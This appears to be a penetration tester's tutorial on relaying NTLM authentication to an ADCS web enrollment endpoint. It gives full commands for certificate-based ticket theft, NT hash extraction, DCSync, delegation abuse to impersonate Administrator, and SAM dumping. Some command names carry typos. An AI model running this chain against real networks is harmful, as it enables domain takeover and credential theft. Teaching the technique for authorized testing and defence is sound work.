When conducting internal penetration tests, It seems that more often than not these days clients have implemented LDAP channel binding, LDAP signing and SMB singing across all or the majority of their Windows estate. This is great news, but it means that most of the powerfull NTLM relaying attacks are a non starter. However, in all cases so far the client was also using Active Directory Certificate Services (ADCS), and had web enrollment enabled.
When you cant relay to LDAP, relaying to the ADCS HTTP endpoint is the next best thing. Unlike LDAP and SMB when relaying to HTTP, NTLM authentication requests on any protocol from any source can be used. (llmnr, nbname and dhcpv6 spoofing, various RPC call backs, MSSQL...), relaying of a DC account equals DCSync, and relaying any machine account equals local admin when combined with Resource Based Constrained Delegation (RBCD).
Fire up ntlmrelayx and await connections.
dntlmrelayx -t http://adcs.local/certsrv/certfnsh.asp -smb2support --adcs
upon successfull relay use the returned base64 encoded certficate pfx file to request TGT for the relayed account.
python3 /opt/PKINITtools/gettgtpkinit.py 'domain/relayed$' -pfx-base64 $(cat relayed.pfx.b64) relayed.ccache
save the AS-REP encryption key for later
use the TGT to grab the NT hash for the relayed account (you dont need to do this, you can authenticate directly with the TGT but having the hash gives you additional options if you need it)
export KRB5CCNAME=relayed.ccache python3 /opt/PKINITtools/getnthash.py -key as-rep_key domain/relayed$
If you are lucky enough to relay an existing domain controller account then you can can now just use the hash or TGT to perform a dcsync and grab the contents of the ntds.dit
export KRB5CCNAME=relayed.ccache python3 secretsdump.py -k -no-pass relayed.local
python3 secretsdump.py 'domain/relayed_dc$@relayed_dc.local' -hashes hash:hash
if the relayed account is a workstation or member server use bloodyad to configure resource based constrained delegation.
The below command will configure RDCD to allow the relayed machine account to impersonate users on itself. You can configure delegation for any other account you have control over, user or machine. Alternatively, you can create a new machine account (if the quota allows) and delegate access to that.
$ dbloodyad -d 'domain' -u 'relayed$' -p 'hash:hash' --host domain_controller.local setRbcd 'relayed$' 'relayed$'
if all goes well the output will look something like this
[!] No security descriptor has been returned, a new one will be created [*] relayed$ SID is: S-1-5-21-4137651732-2841336529-2432679705-3333 [+] msDS-AllowedToActOnBehalfOfOtherIdentity set successfully [+] relayed$ can now impersonate users on relayed$ via S4U2Proxy
then request a silver ticket impersonating an administrator
python3 getST.py -spn DNS/relayed -impersonate 'Administrator' -dc-ip dc_ip 'domain/relayed$' -hashes 'hash:hash'
[*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator.ccache
use the ticket to impersonate an administrator on the relayed host and dump SAM.
export KRB5CCNAME=Administrator.ccache python3 secretsdump.py -k relayed.local